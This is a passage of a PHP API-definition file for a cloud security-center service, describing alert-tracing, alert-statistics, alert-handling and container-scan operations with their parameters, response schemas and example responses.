'03da4e2350a3eb50cd25a18cexxxxxxx', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vertex. You can call the [DescribeTraceInfoDetail](~~DescribeTraceInfoDetail~~) operation to query the types of vertexes.'."\n", 'type' => 'string', 'required' => true, 'example' => 'SAS_ASSET', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the alert event.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the names of alerts events.'."\n", 'type' => 'string', 'required' => false, 'example' => 'WEBSHELL', ], ], [ 'name' => 'IncidentTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the alert event was first detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1635978934000', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server. You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '6f346617-eef9-45e6-b6d1-946xxxxxxxx', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62DXXXXXXXX', ], 'Node' => [ 'description' => 'The details about the node.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the node.'."\n", 'type' => 'string', 'example' => 'Alert', ], 'Name' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'login', ], 'PropertyList' => [ 'description' => 'An array that consists of the properties of the node.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the property of the node.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the property.'."\n", 'type' => 'string', 'example' => 'Incident', ], 'Value' => [ 'description' => 'The value of the property.'."\n", 'type' => 'string', 'example' => 'Alert', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62DXXXXXXXX\\",\\n \\"Node\\": {\\n \\"Type\\": \\"Alert\\",\\n \\"Name\\": \\"login\\",\\n \\"PropertyList\\": [\\n {\\n \\"Name\\": \\"Incident\\",\\n \\"Value\\": \\"Alert\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeTraceInfoNode', ], 'DescribeTraceInfoDetail' => [ 'summary' => 'Queries the trace information about alerts.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. The value of this parameter is specified by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '127.0.0.1', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'VertexId', 'in' => 'query', 'schema' => [ 'description' => 'Vertex ID, which can be obtained from the AlarmUniqueInfo in the response of the [DescribeSuspEvents](~~DescribeSuspEvents~~) interface.', 'type' => 'string', 'required' => true, 'example' => 'cce1d28dxxxxxxxxxxxxxxxx', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => true, 'example' => '1627f2d7-aaa2-4ed1-b07a-xxxxxxxxxxxxxx', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vertex. Set the value to **SAS_INCIDENT**.'."\n", 'type' => 'string', 'required' => true, 'example' => 'SAS_INCIDENT', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas', ], ], [ 'name' => 'IncidentTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp of the detection. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1670555392000', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-XXXXXXXXX', ], 'TraceInfoDetail' => [ 'description' => 'The details of the tracing diagram.'."\n", 'type' => 'object', 'properties' => [ 'EdgeList' => [ 'description' => 'An array that consists of the edges of the tracing diagram.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the edge of the tracing diagram.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the edge of the tracing diagram.'."\n", 'type' => 'string', 'example' => 'trigger_file_alert', ], 'Time' => [ 'description' => 'The point in time.'."\n", 'type' => 'string', 'example' => '2022-12-21 10:24:42', ], 'StartId' => [ 'description' => 'The starting vertex ID of the edge of the tracing diagram.'."\n", 'type' => 'string', 'example' => '02b4bf933c8e3bb8b9465eee502xxxxx', ], 'Count' => [ 'description' => 'The number of times.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'EndId' => [ 'description' => 'The ending vertex ID of the edge of the tracing diagram.'."\n", 'type' => 'string', 'example' => 'a1d1fa39e5345dcef3f9712172cxxxxx', ], ], ], ], 'VertexList' => [ 'description' => 'An array that consists of all vertexes of the tracing diagram.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the vertex of the tracing diagram.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the entity represented by the vertex.'."\n", 'type' => 'string', 'example' => 'file_path', ], 'Time' => [ 'description' => 'The point in time.'."\n", 'type' => 'string', 'example' => '2022-12-21 10:24:42', ], 'Name' => [ 'description' => 'The name of the entity represented by the vertex.'."\n", 'type' => 'string', 'example' => '/usr/local/tomcat', ], 'Id' => [ 'description' => 'The ID of the vertex.'."\n", 'type' => 'string', 'example' => 'a1d1fa39e5345dcef3f9712172xxxxxx', ], 'Count' => [ 'description' => 'The number of times.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NeighborList' => [ 'description' => 'An array that consists of the neighbor nodes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the neighbor node.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the neighbor node. The value is fixed as **alert**.'."\n", 'type' => 'string', 'example' => 'alert', ], 'HasMore' => [ 'description' => 'Indicates whether one more page is returned.'."\n", 'type' => 'boolean', 'example' => 'False', ], 'Count' => [ 'description' => 'The number of neighbor nodes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], 'EntityTypeList' => [ 'description' => 'An array that consists of the metadata configurations of the vertex type.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The metadata configuration of the vertex type.'."\n", 'type' => 'object', 'properties' => [ 'DisplayColor' => [ 'description' => 'The rendering color of the vertex.'."\n", 'type' => 'string', 'example' => '#fff', ], 'DbId' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'Deprecated', ], 'DisplayTemplate' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'example' => '[{"name":"${logtime}","value":"$!{time}"}]', ], 'DisplayIcon' => [ 'description' => 'The icon style of the vertex.'."\n", 'type' => 'string', 'example' => 'https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png', ], 'Limit' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'Deprecated', ], 'GmtCreate' => [ 'description' => 'The timestamp when the vertex was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-10-09T11:47Z', ], 'Offset' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'Deprecated', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => '*', ], 'Name' => [ 'description' => 'The name of the vertex type.'."\n", 'type' => 'string', 'example' => 'Alert', ], 'GmtModified' => [ 'description' => 'The time when the vertex was last modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-10-09T11:47Z', ], 'Id' => [ 'description' => 'The ID of the vertex type.'."\n", 'type' => 'string', 'example' => 'Alert', ], ], ], ], 'RelationTypeList' => [ 'description' => 'An array that consists of the metadata configurations of the edge type.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The metadata configuration of the edge type.'."\n", 'type' => 'object', 'properties' => [ 'ShowType' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'example' => 'Deprecated', ], 'DisplayColor' => [ 'description' => 'The rendering color of the edge.'."\n", 'type' => 'string', 'example' => '#fff', ], 'Name' => [ 'description' => 'The name of the edge type.'."\n", 'type' => 'string', 'example' => 'file', ], 'Directed' => [ 'description' => 'Indicates whether the edge is a directional edge. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RelationTypeId' => [ 'description' => 'The ID of the edge type.'."\n", 'type' => 'string', 'example' => 'netflow_to_process', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-XXXXXXXXX\\",\\n \\"TraceInfoDetail\\": {\\n \\"EdgeList\\": [\\n {\\n \\"Type\\": \\"trigger_file_alert\\",\\n \\"Time\\": \\"2022-12-21 10:24:42\\",\\n \\"StartId\\": \\"02b4bf933c8e3bb8b9465eee502xxxxx\\",\\n \\"Count\\": 1,\\n \\"EndId\\": \\"a1d1fa39e5345dcef3f9712172cxxxxx\\"\\n }\\n ],\\n \\"VertexList\\": [\\n {\\n \\"Type\\": \\"file_path\\",\\n \\"Time\\": \\"2022-12-21 10:24:42\\",\\n \\"Name\\": \\"/usr/local/tomcat\\",\\n \\"Id\\": \\"a1d1fa39e5345dcef3f9712172xxxxxx\\",\\n \\"Count\\": 1,\\n \\"NeighborList\\": [\\n {\\n \\"Type\\": \\"alert\\",\\n \\"HasMore\\": true,\\n \\"Count\\": 1\\n }\\n ]\\n }\\n ],\\n \\"EntityTypeList\\": [\\n {\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"DbId\\": 0,\\n \\"DisplayTemplate\\": \\"[{\\\\\\"name\\\\\\":\\\\\\"${logtime}\\\\\\",\\\\\\"value\\\\\\":\\\\\\"$!{time}\\\\\\"}]\\",\\n \\"DisplayIcon\\": \\"https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png\\",\\n \\"Limit\\": 0,\\n \\"GmtCreate\\": 0,\\n \\"Offset\\": 0,\\n \\"Namespace\\": \\"*\\",\\n \\"Name\\": \\"Alert\\",\\n \\"GmtModified\\": 0,\\n \\"Id\\": \\"Alert\\"\\n }\\n ],\\n \\"RelationTypeList\\": [\\n {\\n \\"ShowType\\": \\"Deprecated\\",\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"Name\\": \\"file\\",\\n \\"Directed\\": 1,\\n \\"RelationTypeId\\": \\"netflow_to_process\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeTraceInfoDetail', 'translator' => 'machine', ], 'DescribeEventLevelCount' => [ 'summary' => 'Queries the statistics of alert events by risk level.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '157267', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c7e3c5b420a7947c2933303144688****', ], ], [ 'name' => 'ContainerIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'required' => false, 'example' => 'xxxxxx30389a10c28f6d38f2398f0dcexxxxxxx922b9e8290dc7c3019d4a8,48b87f2c0662e334820f436cb9133f1ae4e053d39b6fad42xxxxxxxxxx', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The key of the condition that is used to query alert events on containers. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the asset'."\n" .'* **appName**: the name of the application'."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **regionId**: the ID of the region'."\n" .'* **nodeName**: the name of the node'."\n" .'* **namespace**: the namespace'."\n" .'* **clusterName**: the name of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageRepoName**: the name of the image repository'."\n" .'* **imageRepoNamespace**: the namespace to which the image repository belongs'."\n" .'* **imageRepoTag**: the tag that is added to the image'."\n" .'* **imageDigest**: the digest of the image'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the condition that is used to query alert events on containers. If you specify multiple values, separate them with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'c951761046a9c4afe92be0a7b5bexxxxx', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query condition. Valid values:'."\n" ."\n" .'* **containerId**: the ID of the container'."\n" .'* **uuid**: the UUID of the asset'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid', ], ], [ 'name' => 'MultiAccountActionType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the accounts that you want to query. Default value: **0**. Valid values:'."\n" ."\n" .'* **0**: the current account.'."\n" .'* **1**: all accounts.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'EventLevels' => [ 'description' => 'The statistics of alerts by risk level.'."\n", 'type' => 'object', 'properties' => [ 'Serious' => [ 'description' => 'The number of alerts whose Emergency level is Urgent.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Suspicious' => [ 'description' => 'The number of alerts whose Emergency level is Suspicious.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Remind' => [ 'description' => 'The number of alerts whose Emergency level is Reminder.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'CE8CA5EA-24EF-5D41-B735-53ACE7XXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"EventLevels\\": {\\n \\"Serious\\": 0,\\n \\"Suspicious\\": 1,\\n \\"Remind\\": 2\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CE8CA5EA-24EF-5D41-B735-53ACE7XXXXX\\"\\n}","type":"json"}]', 'title' => 'DescribeEventLevelCount', ], 'SaveSuspEventUserSetting' => [ 'summary' => 'Saves alert settings.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '157281', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The data source of the exception. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'LevelsOn', 'in' => 'query', 'schema' => [ 'description' => 'The severities of alert notifications. Valid values:'."\n" ."\n" .'* **remind**'."\n" .'* **suspicious**'."\n" .'* **serious**'."\n", 'type' => 'string', 'required' => false, 'example' => 'suspicious,serious,remind', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'AE6229A0-BDBE-534C-A3F8-095EBXXXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"AE6229A0-BDBE-534C-A3F8-095EBXXXXXX\\"\\n}","type":"json"}]', 'title' => 'SaveSuspEventUserSetting', ], 'ConfirmVirusEvents' => [ 'summary' => 'Confirms the alert events that you want to handle.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '91915', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'OperationCode', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on the alert events. Valid values:'."\n" ."\n" .'* **default**: performs in-depth detection and removal'."\n" .'* **ignore**: ignores the alert event'."\n" .'* **advance\\_mark\\_mis_info**: adds the alert events to the whitelist'."\n" .'* **manual_handled**: marks the alert events as manually handled', 'type' => 'string', 'required' => true, 'example' => 'default', ], ], [ 'name' => 'OperationRange', 'in' => 'query', 'schema' => [ 'description' => 'The server on which you want to perform the alert events.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"type\\":\\"machine\\",\\"list\\":[\\"3aedba3d-bd4d-4dfb-bb0d-xxxxxxxxxxxx\\"]}]', ], ], [ 'name' => 'OperationAll', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to handle all alert events. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Result' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* true: The request was successful.'."\n" .'* false: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', 'title' => 'ConfirmVirusEvents', ], 'ModifySecurityEventMarkMissIndividually' => [ 'summary' => 'Modifies the alert handling rule for alerts that are added to the whitelist by asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'InsertMarkMissParam', 'in' => 'formData', 'schema' => [ 'title' => '与高级加白格式保持一致', 'description' => 'The alert handling that you want to add.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"field\\":\\"location\\",\\"operate\\":\\"contains\\",\\"eventType\\":\\"SIL_AI_ALERT\\",\\"eventName\\":\\"login_common_ip\\",\\"fieldValue\\":\\"xx\\",\\"uuids\\":\\"4296ee47-bf19-4fa4-a4a6-6bxxxxxxxxx\\"}]', ], ], [ 'name' => 'DeleteMarkMissParam', 'in' => 'formData', 'schema' => [ 'title' => '与高级加白格式保持一致', 'description' => 'The alert handling rule that you want to delete.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"field\\":\\"loginSourceIp\\",\\"operate\\":\\"contains\\",\\"eventType\\":\\"SIL_AI_ALERT\\",\\"eventName\\":\\"login_common_ip\\",\\"fieldValue\\":\\"10.12.XX.XX\\",\\"uuids\\":\\"\\"}]', ], ], [ 'name' => 'From', 'in' => 'formData', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'Lang', 'in' => 'formData', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '127.0.XX.XX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code of the alert event.'."\n" ."\n" .'* **200**: indicates that the alert event is successfully handled.'."\n" .'* Other codes: indicates that the alert event fails to be handled.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'A37B852F-E346-5FF2-82BD-D1F1DXXXXXX', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The time that was consumed to process the request. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A37B852F-E346-5FF2-82BD-D1F1DXXXXXX\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'ModifySecurityEventMarkMissIndividually', ], 'CreateContainerScanTask' => [ 'summary' => 'Creates a container scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '149703', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'title' => '集群id', 'description' => 'The ID of the cluster to which the container belongs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~182997~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c22143730ab6e40b09ec7c1c51d4d****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ContainerIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c927cf190e886696db53cda0efb57145394ccf0bf9f525353fa5c22a26e4****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The request results.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'title' => '任务id', 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', ], 'TotalCount' => [ 'title' => '总任务数量', 'description' => 'The total number of scan tasks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '62', ], 'FinishCount' => [ 'title' => '完成数量', 'description' => 'The number of scan tasks that are complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '33', ], 'CollectTime' => [ 'title' => '采集时间.', 'description' => 'The collection time.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'ExecTime' => [ 'title' => '任务运行时间.', 'description' => 'The execution time of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'Status' => [ 'title' => '任务状态', 'description' => 'The status of the task.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Progress' => [ 'title' => '任务进度', 'description' => 'The progress of the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Result' => [ 'title' => '任务结果', 'description' => 'The execution result of the task.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'CanCreate' => [ 'title' => '是否能创建新的任务', 'description' => 'Indicates whether you can create more scan tasks.'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9F4E6157-9600-5588-86B9-38F09067****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"TotalCount\\": 62,\\n \\"FinishCount\\": 33,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n },\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'CreateContainerScanTask', ], 'DescribeTotalStatistics' => [ 'summary' => 'Queries event statistics.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => 